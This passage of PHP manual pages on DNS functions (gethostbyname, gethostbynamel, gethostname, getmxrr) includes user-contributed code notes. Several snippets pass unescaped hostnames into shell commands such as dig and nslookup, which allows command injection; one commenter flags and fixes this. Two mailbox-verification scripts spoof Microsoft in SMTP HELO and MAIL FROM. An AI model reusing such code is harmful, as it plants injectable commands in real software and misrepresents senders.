if(ip2long($ip) == -1 || ($ip == gethostbyaddr($ip) && preg_match("/.*\.[a-zA-Z]{2,3}$/",$host) == 0) ) {
    echo 'Error, incorrect host or ip';
    }
else {
    echo 'Ok';
}
?>
geoff at spacevs dot com 05-Dec-2007 07:37
I put this in a prepend script for all my websites to cut down the amount of abuse by automated scripts.
<?PHP
        $blacklists = array('web.sorbs.net');
        $parts  = explode('.', $_SERVER['REMOTE_ADDR']);
        $ip     = implode('.', array_reverse($parts)) . '.';
        foreach($blacklists as $bl) {
                $check = $ip . $bl;
                if ($check != gethostbyname($check)) {
                                error_log('PHP Security: [DNSBL] - ' . $_SERVER['REMOTE_ADDR'] . ' - ' . $bl);
                                die('Put a detailed error here so the client knows why they have been blocked');
                }
        }
?>
Florian Holzhauer 12-Sep-2007 03:02
If name resolution fails with apache2, mod_chroot and php5, add
LoadFile /lib/libnss_dns.so.2
to the mod_chroot config.
guwapo at thedoghouse dot bz 07-Sep-2007 08:25
referring to ralphbolton at mail2sexy dot com comment:

(at least in 5.2.0 + djbdns-dnscache) gethostbyname does not really seem to cache entries. If somebody notices a speed-up after the second lookup of the same domain - that's most likely your dns-cache itself, not some php-internal dns-cache.

It does cache the entries in your /etc/resolv.conf (e.g. what dns to use) so I agree with him, that stopping and starting apache, will reload the resolv.conf.
von at student dot chalmers dot se 20-Jul-2007 03:50
When using PHP and Apache in a chroot environment on RedHat Linux, I have found that I need to bind-mount /var/run/nscd to get this to work. Apparently, the socket in that directory is needed for all the DNS things.
Josh Finlay josh at glamourcastle dot com 04-Nov-2006 06:55
gethostbyname and gethostbynamel does not ask for AAAA records. I have written two functions to implement this. gethostbyname6 and gethostbynamel6. I don't believe this issue has been addressed yet.

They are made to replace gethostbyname[l], in a way that if $try_a is true, if it fails to get AAAA records it will fall back on trying to get A records.

Feel free to correct any errors, I realise that it is asking for *both* A and AAAA records, so this means two DNS calls.. probably would be more efficient if it checked $try_a before making the query, but this works for me so I'll leave that up to someone else to implement in their own work.. the tip is out there now anyway..

Here is the code:

    function gethostbyname6($host, $try_a = false) {
        // get AAAA record for $host
        // if $try_a is true, if AAAA fails, it tries for A
        // the first match found is returned
        // otherwise returns false

        $dns = gethostbynamel6($host, $try_a);
        if ($dns == false) { return false; }
        else { return $dns[0]; }
    }

    function gethostbynamel6($host, $try_a = false) {
        // get AAAA records for $host,
        // if $try_a is true, if AAAA fails, it tries for A
        // results are returned in an array of ips found matching type
        // otherwise returns false

        $dns6 = dns_get_record($host, DNS_AAAA);
        if ($try_a == true) {
            $dns4 = dns_get_record($host, DNS_A);
            $dns = array_merge($dns4, $dns6);
        }
        else { $dns = $dns6; }
        $ip6 = array();
        $ip4 = array();
        foreach ($dns as $record) {
            if ($record["type"] == "A") {
                $ip4[] = $record["ip"];
            }
            if ($record["type"] == "AAAA") {
                $ip6[] = $record["ipv6"];
            }
        }
        if (count($ip6) < 1) {
            if ($try_a == true) {
                if (count($ip4) < 1) {
                    return false;
                }
                else {
                    return $ip4;
                }
            }
            else {
                return false;
            }
        }
        else {
            return $ip6;
        }
    }
chris at chollis dot net 15-Oct-2006 10:57
mmucklo raises a valid point, however the function to use would be getmxrr() in the simplest case, or alternatively checkdnsrr() if you so wish; getdnsrr() does not exist.

On another note, it can be a pain (when iterating with while loops for example) that on failure gethostbyname() returns the hostname, rather than FALSE. You could wrap it in a simple user function, to "correct" this:

<?php

function fixed_gethostbyname ($host) {
    // Try the lookup as normal...
    $ip = gethostbyname($host);
    // ...but if it fails, FALSE is returned instead of the unresolved host
    if ($ip != $host) { return $ip; } else return false;
}

?>
Peter <toomuchphp-phpman at yahoo dot com> 05-Sep-2006 06:33
One way to discover your IP address automatically:

<?php

// need to trim() because whitespace will confuse the name lookup
$myIP = gethostbyname(trim(`hostname`));
echo $myIP;

?>
mmucklo at yahoo dot com 16-Aug-2006 11:05
One note about using gethostbyname() for checking email address domains:

If the name doesn't resolve, follow up with getdnsrr() and make sure they don't have an MX entry before returning an error.

It is possible for a domain name not to have an A record, but still have an MX entry.
Marc M 08-Aug-2006 08:33
Just a heads up. I was using this function on my site to verify email host addresses. I thought all was good, until a potential client contacted me and said they couldn't sign up correctly. They have a valid email address and domain, but this function failed.

Good luck.
ralphbolton at mail2sexy dot com 06-Apr-2006 01:10
On a side-note, PHP (5.0.4, but probably other versions too) can cache gethostbyname information.

In short, once PHP looks up an address, it may not actually perform another lookup as you may expect. In my particular case (I think) the problem was a change to resolv.conf didn't take effect inside PHP (although nslookup/ping etc worked fine). Stop/Starting Apache fixed it (although a simple 'restart' (kill -HUP) didn't).

In short, if you change resolv.conf, stop and restart Apache.
ivan[DOT]pirog[AT]gmail[DOT]com 14-Mar-2006 06:57
Function returns boolean:
<?php
function isDomainResolves($domain)
{
     return gethostbyname($domain) != $domain;
}
?>
mcgrof at gmail dot com 21-Oct-2005 09:10
Better yet:
<?php
$ip = rtrim(`/usr/bin/dig $host A +short`);
?>
mcgrof at gmail dot com 21-Oct-2005 09:05
In PHP4 you can use gethostbyname() but I have found this unreliable when doing lookups on entries that return A records on the private network. PHP5 has a much better routine -- dns_get_record(). If you are stuck with PHP4 or don't want to upgrade you can use dig:

<?php
$ip = `/usr/bin/dig $host A +short`;
?>
tabascopete78 at yahoo dot com 18-Aug-2005 12:29
I was using file_get_contents on a set of URLs. Some of them URLs were invalid (the structure of it was ok but the DNS hosts couldn't resolve them) and I kept getting an annoying warning. I wanted to check the DNS somehow but existing check dns function in php doesn't have one for windows and the one a person supplied there does not work 100% of the time.

Instead use this function to try to resolve a host. This won't throw any warnings, you just need to check the output. You'll get the same warnings with fopen and fsockopen.
cox at idecnet dot com 26-Dec-2004 12:15
For doing basic RBL (Real Time Blacklist) lookups with this function do:

<?php
$host = '64.53.200.156';
$rbl  = 'sbl-xbl.spamhaus.org';
// valid query format is: 156.200.53.64.sbl-xbl.spamhaus.org
$rev = array_reverse(explode('.', $host));
$lookup = implode('.', $rev) . '.' . $rbl;
if ($lookup != gethostbyname($lookup)) {
    echo "ip: $host is listed in $rbl\n";
} else {
    echo "ip: $host NOT listed in $rbl\n";
}
?>

Tomas V.V.Cox
Vincent 14-Jul-2004 09:14
Note that if you pass an IP address to gethostbyname() it will return that IP address.
30-Mar-2004 02:49
The dns entries get cached, whether they exist or not.  Expect really good response times after the first one.
christian at SPAM at IS at DEAD at MEAT at karg dot org 01-Apr-2003 04:12
I had difficulty getting gethostbyname to work under OpenBSD 3.2 and Apache, until I discovered that the default Apache chroot caused the problem.

To get PHP's gethostbyname to work, you need resolv.conf (and possibly hosts) in /var/www/etc (assuming default install dirs).
tonyhana at sixzeros dot com 04-Jul-2002 07:43
<?php
//script to time DNS propagation
//(Above script modified slightly to show micro time)
//seems pretty damn quick to me.. I'm getting .0055 sec worstcase badhost times.

//A known good dns name (my own)
    $nametotest = "fuzzygroup.com";

//Call address test function
    $time_start = getmicrotime();
    testipaddress($nametotest);
    $time_end = getmicrotime();
    $time = $time_end - $time_start;
    echo "Good Host Search took $time seconds<br><br>";

//A known bad name (trust me)
    $nametotest = "providence.mascot.com";
    $time_start = getmicrotime();
    testipaddress($nametotest);
    $time_end = getmicrotime();
    $time = $time_end - $time_start;
    echo "Bad Host Search took $time seconds<br>";

function getmicrotime(){
    list($usec, $sec) = explode(" ",microtime());
    return ((float)$usec + (float)$sec);
    }

//ip address checking function
//for real use should have a return value but example code
function testipaddress ($nametotest) {
    $ipaddress = $nametotest;
    $ipaddress = gethostbyname($nametotest);
    if ($ipaddress == $nametotest) {
        echo "No ip address for host<br>";
    }
    else {
        echo "good hostname, $nametotest ipaddress = $ipaddress<br>";
    }
}

//Recommended fix for sql applications:
// store url to temporary table
// run second process periodically to
// check urls and update main table
?>
sjohnson at fuzzygroup dot com 16-Mar-2002 10:27
<?php

//script to see if host exists on Internet

//following up on the above point about host name
//checking and SQL timeouts, run this test script
//and see how long it takes for 2nd call to
//hostname check to fail
//NOTE -- not PHP's fault -- nature of DNS

//A known good dns name (my own)
    $nametotest = "fuzzygroup.com";

//Call address test function
    testipaddress($nametotest);

//A known bad name (trust me)
    $nametotest = "providence.mascot.com";
//Call address test function
    testipaddress($nametotest);

//ip address checking function
//for real use should have a return value but example code
function testipaddress ($nametotest) {
    $ipaddress = $nametotest;
    $ipaddress = gethostbyname($nametotest);
    if ($ipaddress == $nametotest) {
        echo "No ip address for host, so host "
             . "not currently available in DNS and "
             . "probably offline for some time<BR>";
    }
    else {
        echo "good hostname, ipaddress = $ipaddress<BR>";
    }
}

//Recommended fix for sql applications:
// store url to temporary table
// run second process periodically to
// check urls and update main table
?>


指定したインターネットホスト名に対応するIPv4アドレスのリストを取得する

  • ≪ gethostbyname
  • gethostname ≫
  • PHP Manual
  • ネットワーク 関数
  • 指定したインターネットホスト名に対応するIPv4アドレスのリストを取得する

gethostbynamel

(PHP 4, PHP 5, PHP 7, PHP 8)

gethostbynamel — 指定したインターネットホスト名に対応するIPv4アドレスのリストを取得する

説明

gethostbynamel ( string $hostname ) : array|false

hostname で指定したインターネットホストを検索して得られた IPv4 アドレスのリストを返します。

パラメータ

hostname

ホスト名。

返り値

IPv4 アドレスの配列を返します。 もし hostname が解決できなかった場合は false を返します。

例

例1 gethostbynamel() の例

<?php
$hosts = gethostbynamel('www.example.com');
print_r($hosts);
?>

上の例の出力は以下となります。

Array
(
    [0] => 192.0.34.166
)

参考

  • gethostbyname() - インターネットホスト名に対応するIPv4アドレスを取得する
  • gethostbyaddr() - 指定した IP アドレスに対応するインターネットホスト名を取得する
  • checkdnsrr() - 指定したインターネットホスト名もしくは IP アドレスに対応する DNS レコードを検索する
  • getmxrr() - 指定したインターネットホスト名に対応する MX レコードを取得する
  • the named(8) manual page

User Contributed Notes

Anonymous 13-Mar-2018 07:57
不要使用http??,gethostbynamel函数中
ab at null dot ixo dot ca 01-Jul-2016 02:44
If using gethostbyname against the name of the localhost is always giving you 127.0.0.1 but you want the DNS address instead, just put a dot at the end of the name.  E.g.,

$foo = gethostbynamel("myhost.example.com");
print_r($foo);

...is giving you this:
Array
(
    [0] => 127.0.0.1
)

Then put a dot at the end of the name:

$foo = gethostbynamel("myhost.example.com.");
print_r($foo);

...and now you get something like:
Array
(
    [0] => 172.217.1.99
)
info at methfessel-computers.de 29-Sep-2006 03:27
The solution is simpel. Just add a . (point) to the end of the URL for correct name resolving.

Without this point PHP thinks it's a subdomain of your local domain and so returns the "local-IP".
webdev at concraption dot com 19-Sep-2005 11:25
In PHP 5.0.4, gethostbynamel returns an empty string instead of false if the lookup fails. A simple workaround for this error is to use is_array() in an IF block:

<?
$hosts = gethostbynamel($hostname);
if (is_array($hosts)) {
     echo "Host ".$hostname." resolves to:<br><br>";
     foreach ($hosts as $ip) {
          echo "IP: ".$ip."<br>";
     }
} else {
     echo "Host ".$hostname." is not tied to any IP.";
}
?>
Skyld at o2 dot co dot uk 25-Sep-2004 01:45
Obviously, in some cases, not all IPs are likely to be useful while checking a hostname. Sometimes also, not all IPs will work. This code will check for the first WORKING IP from the list. Or at least it should - I haven't had time to test it yet.
Needs domain parameter, and port and max IPs to check are optional.
If port is not set, it will check HTTP port 80, and if max IPs to check is not set, it will only check the first 10 IPs from the list.
Hope it helps someone.

<?php
  function checkhostlist($domain, $port = 80, $maxipstocheck = 10) {
  ? $hosts = gethostbynamel($domain);
    for ($chk=0;$chk<$maxipstocheck;$chk++) {
      if (isset($hosts[$chk])) {
        $th = fsockopen($domain, $port);
        if ($th) {
          fclose($th);
          return $hosts[$chk];
          break;
        }
      }
    }
  }
?>


ホスト名を取得する

  • ≪ gethostbynamel
  • getmxrr ≫
  • PHP Manual
  • ネットワーク 関数
  • ホスト名を取得する

gethostname

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

gethostname — ホスト名を取得する

説明

gethostname ( ) : string|false

gethostname() 関数は、ローカルのマシンに設定されている標準的なホスト名を取得します。

返り値

成功時にはホスト名を示す文字列。失敗時には false を返します

例

例1 簡単な gethostname() 関数の使用例

<?php
echo gethostname(); // 出力の例: sandie

// PHP 5.3 より前のバージョンでも動く別の方法
echo php_uname('n'); // 出力の例: sandie
?>

参考

  • gethostbyname() - インターネットホスト名に対応するIPv4アドレスを取得する
  • gethostbyaddr() - 指定した IP アドレスに対応するインターネットホスト名を取得する
  • php_uname() - PHP が稼動しているオペレーティングシステムに関する情報を返す

User Contributed Notes

solaris 27-Oct-2019 11:25
To the prev. note: **NEVER USE***
#`sudo hostname servername`

Some *nix systems will then force to set the 'servername' as new hostname!
kurdtpage at gmail dot com 28-Aug-2018 04:26
On Linux, use the command `hostname` to view your host name, or `sudo hostname servername` to set it


指定したインターネットホスト名に対応する MX レコードを取得する

  • ≪ gethostname
  • getprotobyname ≫
  • PHP Manual
  • ネットワーク 関数
  • 指定したインターネットホスト名に対応する MX レコードを取得する

getmxrr

(PHP 4, PHP 5, PHP 7, PHP 8)

getmxrr — 指定したインターネットホスト名に対応する MX レコードを取得する

説明

getmxrr ( string $hostname , array &$hosts , array &$weights = null ) : bool

hostname に対応する MX レコードを DNS から探します。

パラメータ

hostname

インターネットホスト名。

hosts

見つかった MX レコードのリストが、配列 hosts に格納されます。

weights

配列 weights を指定すると、 そこに重み情報が格納されます。

返り値

何かレコードが見つかった場合に true、 何も見つからないかエラーが発生した場合に false を返します。

注意

注意:

この関数をメールアドレスの確認の目的で使用すべきではありません。 DNS が検出したメールエクスチェンジャーを返すだけです。 しかし、» RFC 2821 によれば、 メールエクスチェンジャーがひとつも見つからなければ、 hostname 自体が唯一のメールエクスチェンジャー であるとみなされ、その優先度は 0（最高）となります。

注意:

この関数が実装される前の Windows での互換性を保つには、 » PEAR の » Net_DNS クラスを試してみてください。

参考

  • checkdnsrr() - 指定したインターネットホスト名もしくは IP アドレスに対応する DNS レコードを検索する
  • dns_get_record() - ホスト名に関連する DNS リソースレコードを取得する
  • gethostbyname() - インターネットホスト名に対応するIPv4アドレスを取得する
  • gethostbynamel() - 指定したインターネットホスト名に対応するIPv4アドレスのリストを取得する
  • gethostbyaddr() - 指定した IP アドレスに対応するインターネットホスト名を取得する
  • named(8) のマニュアルページ

User Contributed Notes

Anonymous 06-Oct-2016 12:30
One small polyfill for the getmxrr function(even when it's missing from linux system)

function getmxrr($hostname, &$mxhosts, array &$mxweight=null)
                {
                   $mxhosts = array();
                   exec('nslookup -type=mx '.$hostname, $result_arr);
                   foreach($result_arr as $line)
                    {
                        if (preg_match("/.*mail exchanger = (.*)/", $line, $matches))
                        {
                            $s_xo=explode(' ', $matches[1]);
                            $mxhosts[] = $s_xo[1];
                            $mxweight[] = $s_xo[0];
                        }
                    }
                   return( count($mxhosts) > 0 );
                }
Robert Imhoff 27-Mar-2011 06:21
I tried using getmxrr() to validate the domain portion of email addresses in enquiry submission forms, and there is a curious effect with some top-level domains when checking non-existant domains.

With sdlkfjsdl.com, since the domain does not exist, getmxrr() returns false, as expected, and the returned mxhosts array is empty.

But with sdlkfjsdl.gov, getmxrr() returns true,  and the returned mxhosts array contains one element: NULL

With sdlkfjsdl.org, getmxrr() returns true,  and the returned mxhosts array contains one element: '0.0.0.0'

With sdlkfjsdl.co.uk, getmxrr()  returns true and supplies one MX record: uk-net-wildcard-null-mx.centralnic.net

So to validate the email domain, it would seem one has to check the returned mxhosts array to exclude the possibility of mxhosts being returned as NULL, 0.0.0.0 and wildcard ...
php [spat] hm2k.org 06-Jan-2009 02:18
I decided to have a bash at this after doing a bit of research...

<?php

// getmxrr() support for Windows by HM2K <php [spat] hm2k.org>
function win_getmxrr($hostname, &$mxhosts, &$mxweight=false) {
    if (strtoupper(substr(PHP_OS, 0, 3)) != 'WIN') return;
    if (!is_array ($mxhosts) ) $mxhosts = array();
    if (empty($hostname)) return;
    $exec='nslookup -type=MX '.escapeshellarg($hostname);
    @exec($exec, $output);
    if (empty($output)) return;
    $i=-1;
    foreach ($output as $line) {
        $i++;
        if (preg_match("/^$hostname\tMX preference = ([0-9]+), mail exchanger = (.+)$/i", $line, $parts)) {
          $mxweight[$i] = trim($parts[1]);
          $mxhosts[$i] = trim($parts[2]);
        }
        if (preg_match('/responsible mail addr = (.+)$/i', $line, $parts)) {
          $mxweight[$i] = $i;
          $mxhosts[$i] = trim($parts[1]);
        }
    }
    return ($i!=-1);
}

// Define
if (!function_exists('getmxrr')) {
    function getmxrr($hostname, &$mxhosts, &$mxweight=false) {
        return win_getmxrr($hostname, $mxhosts, $mxweight);
    }
}

/* example */

$domain='php.net';
echo "<pre>";
getmxrr($domain,$mxhosts,$mxweight);
print_r($mxhosts);
print_r($mxweight);

?>
TZ at inpetho dot net 12-Dec-2007 10:35
If greylisting is installed on the mx host then he send a "451 4.7.1 Please try again later"

My code fragment:

<?php
//...
foreach ($mx_records as $mx_host) {
    $code = CheckMX($mx_host, $eMail);
    if ($code == 0)    continue; // host not found
    if ($code == 451)    $code = CheckMX($mx_host, $eMail); // Greylisting
    if ($code == 250)    {
        $ok = true;
        break;
    }
}
//...

function CheckMX($mx_host, $eMail)
{
    $code = 0;
    $fp = @fsockopen($mx_host, 25, $errno, $errstr, 2);
    if ($fp)    {
        send_command($fp, 'HELO microsoft.com');
        send_command($fp, 'MAIL FROM:<support@microsoft.com>');
        $erg = send_command($fp, 'RCPT TO:<'.$eMail.'>');
        fclose($fp);
        $code = intval(substr($erg, 0, 3));
    }
    return $code;
}
//...
?>
Jay 11-Sep-2007 04:10
As stated, some of the code listed below will have trouble with multiple equal weights, such as if you query gmail.com. The following code will prevent that by switching the key/values.

<?php

// Get the records
getmxrr("gmail.com", $mx_records, $mx_weight);

// Put the records together in a array we can sort
for($i=0;$i<count($mx_records);$i++){
    $mxs[$mx_records[$i]] = $mx_weight[$i];
}

// Sort them
asort ($mxs);

// Since the keys actually hold the data we want, just put those in an array, called records
$records = array_keys($mxs);

// Simply echoes all the stuff in the records array
for($i = 0; $i < count($records); $i++){
    echo $records[$i];
    echo '<br>';
}

?>

If you wanted to get the weight, you would use "array_values($mxs);" instead of "array_keys($mxs);".

Hope this helps some people.
tomhutter at web dot de 20-Oct-2006 12:50
Leonardt's code fails with multiple mx records with the same wight. You can easily change this by switching keys and values in the mxs array:

     for($i=0;$i<count($mx_records);$i++){
       $mxs[$mx_records[$i]] = $mx_weight[$i];
     }

     arsort ($mxs );
     reset ($mxs);

    while (list ($mx_host, $mx_weight) = each ($mxs) ) {

cheers

Tom
php dot net at oitc dot com 14-Oct-2006 05:28
This function has some strange side effects when dealing with aliases...

My function:

        if (getmxrr($fqdn, $mx_records, $mx_weight)) {
            // copy mx records and weight into array $mxs
            // ignore multiple mx's at the same weight
            for ($i = 0; $i < count($mx_records); $i++) {
                $mxs[$mx_weight[$i]] = $mx_records[$i];
            }
            // sort array mxs to get servers with highest priority
            ksort ($mxs, SORT_NUMERIC);
            reset ($mxs);
        } else {
            // No MX so use A
            $mxs[0]= $fqdn;
        }

fails because a $fqdn containing an alias returns a true yet on return both $mx_records and $mx_weight contain nothing!

The solution until this gets fixed is to replace if (getmxrr($fqdn, $mx_records, $mx_weight)) with

        // Handle aliases etc.
        if ($result = getmxrr($fqdn, $mx_records, $mx_weight)) {
            if(!isset($mx_records) || (count($mx_records) == 0)) $result = false;
        }
        // Process MXs
        if ($result) {

Hope this helps others....  Tom
MagicalTux at ooKoo dot org 24-Sep-2006 07:59
If you want to use getmxrr on windows, be careful as choward AT fast DOT net DOT NO SPAM PLZ's function has a security flaw.

It passes its argument to an external command without escaping it. If you don't validate the input, someone may manage to run nasty things on your system.

Here's a fixed version (just added escapeshellarg())

<?php
function getmxrr($hostname, &$mxhosts)
{
    $mxhosts = array();
    exec('%SYSTEMDIRECTORY%\\nslookup.exe -q=mx '.escapeshellarg($hostname), $result_arr);
    foreach($result_arr as $line)
    {
      if (preg_match("/.*mail exchanger = (.*)/", $line, $matches))
          $mxhosts[] = $matches[1];
    }
    return( count($mxhosts) > 0 );
}//--End of workaround

//test..
getmxrr('yahoo.com', $mxhosts);
print_r($mxhosts);
?>

This way you'll avoid a lot of nasty things ;)
Lennart Poot(www.twing.nl) 07-Apr-2006 12:23
This script validates an e-mail adress using getmxrr and fsockopen

1. it validates the syntax of the address.
2. get MX records by hostname
3. connect mail server and verify mailbox(using smtp command RCTP TO:<email>)

When the function "validate_email([email])" fails connecting the mail server with the highest priority in the MX record it will continue with the second mail server and so on..

The function "validate_email([email])" returns 0 when it failes one the 3 steps above, it will return 1 otherwise

Grtz Lennart Poot

<?
function validate_email($email){
   $mailparts=explode("@",$email);
   $hostname = $mailparts[1];

   // validate email address syntax
   $exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";
   $b_valid_syntax=eregi($exp, $email);

   // get mx addresses by getmxrr
   $b_mx_avail=getmxrr( $hostname, $mx_records, $mx_weight );
   $b_server_found=0;

   if($b_valid_syntax && $b_mx_avail){
     // copy mx records and weight into array $mxs
     $mxs=array();

     for($i=0;$i<count($mx_records);$i++){
       $mxs[$mx_weight[$i]]=$mx_records[$i];
     }

     // sort array mxs to get servers with highest prio
     ksort ($mxs, SORT_NUMERIC );
     reset ($mxs);

     while (list ($mx_weight, $mx_host) = each ($mxs) ) {
       if($b_server_found == 0){

         //try connection on port 25
         $fp = @fsockopen($mx_host,25, $errno, $errstr, 2);
         if($fp){
           $ms_resp="";
           // say HELO to mailserver
           $ms_resp.=send_command($fp, "HELO microsoft.com");

           // initialize sending mail
           $ms_resp.=send_command($fp, "MAIL FROM:<support@microsoft.com>");

           // try receipent address, will return 250 when ok..
           $rcpt_text=send_command($fp, "RCPT TO:<".$email.">");
           $ms_resp.=$rcpt_text;

           if(substr( $rcpt_text, 0, 3) == "250")
             $b_server_found=1;

           // quit mail server connection
           $ms_resp.=send_command($fp, "QUIT");

         fclose($fp);

         }

       }
    }
  }
  return $b_server_found;
}

function send_command($fp, $out){

  fwrite($fp, $out . "\r\n");
  return get_data($fp);
}

function get_data($fp){
  $s="";
  stream_set_timeout($fp, 2);

  for($i=0;$i<2;$i++)
    $s.=fgets($fp, 1024);

  return $s;
}

// support windows platforms
if (!function_exists ('getmxrr') ) {
  function getmxrr($hostname, &$mxhosts, &$mxweight) {
    if (!is_array ($mxhosts) ) {
      $mxhosts = array ();
    }

    if (!empty ($hostname) ) {
      $output = "";
      @exec ("nslookup.exe -type=MX $hostname.", $output);
      $imx=-1;

      foreach ($output as $line) {
        $imx++;
        $parts = "";
        if (preg_match ("/^$hostname\tMX preference = ([0-9]+), mail exchanger = (.*)$/", $line, $parts) ) {
          $mxweight[$imx] = $parts[1];
          $mxhosts[$imx] = $parts[2];
        }
      }
      return ($imx!=-1);
    }
    return false;
  }
}

?>
jeff at pzenix dot com 08-Mar-2006 09:58
I should point out that the below example won't work with some domains (.co.uk, .org.uk, .net.uk for example) because it assumes (possibly incorrectly) that the format is [ DOMAIN ].[ EXT ].
off at NOSPAM dot abwesend dot de 11-Feb-2006 07:18
Concerning the message by 'rolf at rowi dot net' (do a check on a address containing a subdomain) we could use:

$email = 'abc@etpc01.trier.fh-rpl.de';

$strDot      = '.';
$strAfterAt  = substr(strstr($email, '@'), 1);
$chunks      = explode($strDot, $strAfterAt);
$cntChunks   = count($chunks) - 1;

$strDomain = $chunks[($cntChunks-1)] . $strDot . $chunks[$cntChunks];

if (!getmxrr( $strDomain, $mxhosts )) {
    echo 'Mailserver not found';
}

// $strDomain is set to 'fh-rpl.de';
richard dot quadling at bandvulc dot co dot uk 25-May-2005 02:04
Windows alternative for getmxrr without the need for PEAR.

<?php
define('DEFAULT_GATEWAY', 'nnn.nnn.nnn.nnn');
if (!function_exists('getmxrr'))
    {
    /*
        This function is a replacement for the missing Windows function getmxrr.

        The parameters are the same as those for the normal getmxrr function.

        The steps this function takes are :

        1 - Use NSLOOKUP.EXE to get the MX records for the supplied Host.
        2 - Use regular expressions to extract the mail servers and the preference.
        3 - Sort the results by preference.
        4 - Set the return arrays.
        5 - Return true or false.
    */
    function getmxrr($s_HostName, array &$a_MXHosts = NULL, array &$a_Weights = NULL)
        {
        // Simulate all the required network activity by executing windows' NSLOOKUP.
        $s_NSLookup = shell_exec("nslookup -q=mx {$s_HostName} 2>nul");
        preg_match_all("'^.*MX preference = (\d{1,10}), mail exchanger = (.*)$'simU", $s_NSLookup, $a_MXMatches);

        // If there is something to return ...
        if (count($a_MXMatches[2]) > 0)
            {
            // Produce output arrays if they have been requested.
            $i_ArgCount = func_num_args();
            if ($i_ArgCount > 1)
                {
                array_multisort($a_MXMatches[1], $a_MXMatches[2]);
                switch ($i_ArgCount)
                    {
                    case 3 :
                        $a_Weights = $a_MXMatches[1];
                    case 2 :
                        $a_MXHosts = $a_MXMatches[2];
                    }
                }
            return True;
            }
        else
            {
            return False;
            }
        }
    }
?>

You will need to know your default gateway (either it's IP address or its name).

To do this, run the program IPCONFIG /ALL at a cmd prompt and look for the Default Gateway.

Then replace the 'nnn.nnn.nnn.nnn' with the address.

Richard.
rune dot heggtveit at devzone dot progative dot com 23-Jan-2005 01:02
An other way to do mx-lookup on a windows platform.
Rewrote this from an other class i wrote for DNS lookup - so it might be a bit messy - but hope you get the idea.

Big thanks to the rfc community.

<?php

class mxlookup
{
      var $dns_socket = NULL;
      var $QNAME = "";
      var $dns_packet= NULL;
      var $ANCOUNT = 0;
      var $cIx = 0;
      var $dns_repl_domain;
      var $arrMX = array();

      function mxlookup($domain, $dns="192.168.2.1")
      {
         $this->QNAME($domain);
         $this->pack_dns_packet();
         $dns_socket = fsockopen("udp://$dns", 53);

         fwrite($dns_socket,$this->dns_packet,strlen($this->dns_packet));
         $this->dns_reply  = fread($dns_socket,1);
         $bytes = stream_get_meta_data($dns_socket);
         $this->dns_reply .= fread($dns_socket,$bytes['unread_bytes']);
         fclose($dns_socket);
         $this->cIx=6;
         $this->ANCOUNT   = $this->gord(2);
         $this->cIx+=4;
         $this->parse_data($this->dns_repl_domain);
         $this->cIx+=7;

         for($ic=1;$ic<=$this->ANCOUNT;$ic++)
         {
           $QTYPE = ord($this->gdi($this->cIx));
           if($QTYPE!==15){print("[MX Record not returned]"); die();}
           $this->cIx+=9;
           $mxPref = ord($this->gdi($this->cIx));
           $this->parse_data($curmx);
           $this->arrMX[] = array("MX_Pref" => $mxPref, "MX" => $curmx);
           $this->cIx+=3;
         }
      }

      function parse_data(&$retval)
      {
        $arName = array();
        $byte = ord($this->gdi($this->cIx));
        while($byte!==0)
        {
          if($byte==192) //compressed
          {
            $tmpIx = $this->cIx;
            $this->cIx = ord($this->gdi($cIx));
            $tmpName = $retval;
            $this->parse_data($tmpName);
            $retval=$retval.".".$tmpName;
            $this->cIx = $tmpIx+1;
            return;
          }
          $retval="";
          $bCount = $byte;
          for($b=0;$b<$bCount;$b++)
          {
            $retval .= $this->gdi($this->cIx);
          }
          $arName[]=$retval;
         $byte = ord($this->gdi($this->cIx));
       }
       $retval=join(".",$arName);
     }

     function gdi(&$cIx,$bytes=1)
     {
       $this->cIx++;
       return(substr($this->dns_reply, $this->cIx-1, $bytes));
     }

      function QNAME($domain)
      {
        $dot_pos = 0; $temp = "";
        while($dot_pos=strpos($domain,"."))
        {
          $temp   = substr($domain,0,$dot_pos);
          $domain = substr($domain,$dot_pos+1);
          $this->QNAME .= chr(strlen($temp)).$temp;
        }
        $this->QNAME .= chr(strlen($domain)).$domain.chr(0);
      }

      function gord($ln=1)
      {
        $reply="";
        for($i=0;$i<$ln;$i++){
         $reply.=ord(substr($this->dns_reply,$this->cIx,1));
         $this->cIx++;
         }

        return $reply;
      }

      function pack_dns_packet()
      {
        $this->dns_packet = chr(0).chr(1).
                            chr(1).chr(0).
                            chr(0).chr(1).
                            chr(0).chr(0).
                            chr(0).chr(0).
                            chr(0).chr(0).
                            $this->QNAME.
                            chr(0).chr(15).
                            chr(0).chr(1);
      }

}

?>

<?php

/* Exampe of use: */
$mx = new mxlookup("php.net");

print $mx->ANCOUNT." MX Records\n";
print "Records returned for ".$mx->dns_repl_domain.":\n<pre>";
print_r($mx->arrMX);

?>

Return:

02 MX Records Records returned for php.net:

Array
(
    [0] => Array
        (
            [MX_Pref] => 15
            [MX] => smtp.osuosl.org
        )

    [1] => Array
        (
            [MX_Pref] => 5
            [MX] => osu1.php.net
        )

)
rolf at rowi dot net 21-Jan-2005 06:36
Be aware that not just user@example.com ist a valid address, also user@subnet.example.com is valid (but maybe less common). Just got into trouble with this check...

Rolf
siclawrence at gmail dot com 04-Jan-2005 06:43
This code replicates online tools that let you check if an email address is valid. First it checks if the email format is correct, then looks up and prints the mx records. All nicely formatted with fancy words that in the end prints whether the email address valid or invalid.

<?php
$email = "email@domain.com";

print("Checking: $email<br>");

if (eregi("^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)+$", $email)) {

    print("Format Test: PASSED<br>");
    print("Online host verification Test...<br><br>");
    print("MX Records for: $email<br>");

    list($alias, $domain) = split("@", $email);

    if (checkdnsrr($domain, "MX")) {

        getmxrr($domain, $mxhosts);

        foreach($mxhosts as $mxKey => $mxValue){
            print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$mxValue<br>");
        }

        print("Online host verification Test: PASSED<br><br>");
        print("Email Status: VALID");

    } else {

        print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;No records found.<br>");
        print("Online host verification Test: FAILED<br><br>");
        print("Email Status: INVALID");

    }

} else {

    print("Format Test: FAILED<br><br>");
    print("Invalid email address provided.<br><br>");
    print("Email Status: INVALID");

}
?>
zorlac_man at hotmail dot com 14-May-2004 12:15
For some reason this and the other DNS lookup functions seem to be really slow on my Linux box. I've checked several things and have no explanation.

As a work-around, I gave in and just used a system call to dig:

<?php
CheckMX("fakedomain.org");
